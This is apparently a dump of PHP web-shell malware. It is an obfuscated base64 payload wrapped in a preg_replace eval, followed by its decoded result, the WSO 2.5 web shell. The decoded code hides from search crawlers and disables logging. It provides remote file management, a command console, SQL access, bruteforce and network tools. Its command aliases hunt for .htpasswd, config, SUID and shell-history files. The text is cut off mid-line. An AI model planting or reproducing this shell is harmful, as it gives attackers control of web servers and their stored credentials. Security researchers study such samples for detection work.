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'\x29\x29\x29\x3B",".");;
92echo 'Content-Disposition: form-data; name="return-url" aW5kZXgucGhwP29wdGlvbj1jb21fbWVkaWE=';
93
94// result of final preg_replace eval
95
96
97
98if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('WSO_VERSION', '2.5'); if(get_magic_quotes_gpc()) { function WSOstripslashes($array) { return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); } $_POST = WSOstripslashes($_POST); $_COOKIE = WSOstripslashes($_COOKIE); } function wsoLogin() { die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } if(!empty($auth_pass)) { if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) wsoLogin(); } if(strtolower(substr(PHP_OS,0,3)) == "win") $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) error_reporting(0); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd); } if($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); else $aliases = array( "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" ); function wsoHeader() { if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset']; global $color; echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title> <style> body{background-color:#444;color:#e1e1e1;} body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } table.info{ color:#fff;background-color:#222; } span,h1,a{ color: $color !important; } span{ font-weight: bolder; } h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } div.content{ padding: 5px;margin-left:5px;background-color:#333; } a{ text-decoration:none; } a:hover{ text-decoration:underline; } .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea{ width:100%;height:300px; } input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } form{ margin:0px; } #toolsTbl{ text-align:center; } .toolsInp{ width: 300px } .main th{text-align:left;background-color:#5e5e5e;} .main tr:hover{background-color:#5e5e5e} .l1{background-color:#444} .l2{background-color:#333} pre{font-family:Courier,Monospace;} </style> <script> var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; var a_ = '" . htmlspecialchars(@$_POST['a']) ."' var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = 'ajax=true'; for(i=0;i<d.mf.elements.length;i++) params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); } function sr(url, params) { if (window.XMLHttpRequest) req = new XMLHttpRequest(); else if (window.ActiveXObject) req = new ActiveXObject('Microsoft.XMLHTTP'); if (req) { req.onreadystatechange = processReqChange; req.open('POST', url, true); req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); req.send(params); } } function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert('Request error!'); } </script> <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> <form method=post name=mf style='display:none;'> <input type=hidden name=a> <input type=hidden name=c> <input type=hidden name=p1> <input type=hidden name=p2> <input type=hidden name=p3> <input type=hidden name=charset> </form>"; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = 'http://exploit-db.com/search/?action=search&filter_description='; if(strpos('Linux', $kernel) !== false) $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); else $explink .= urlencode($kernel . ' ' . substr($release,0,3)); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; $i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for($j=0; $j<=$i; $j++) $cwd_links .= $path[$j].'/'; $cwd_links .= "\")'>".$path[$i]."/</a>"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; $drives = ""; if($GLOBALS['os'] == 'win') { foreach(range('c','z') as $drive) if(is_dir($drive.':\\')) $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; } echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. 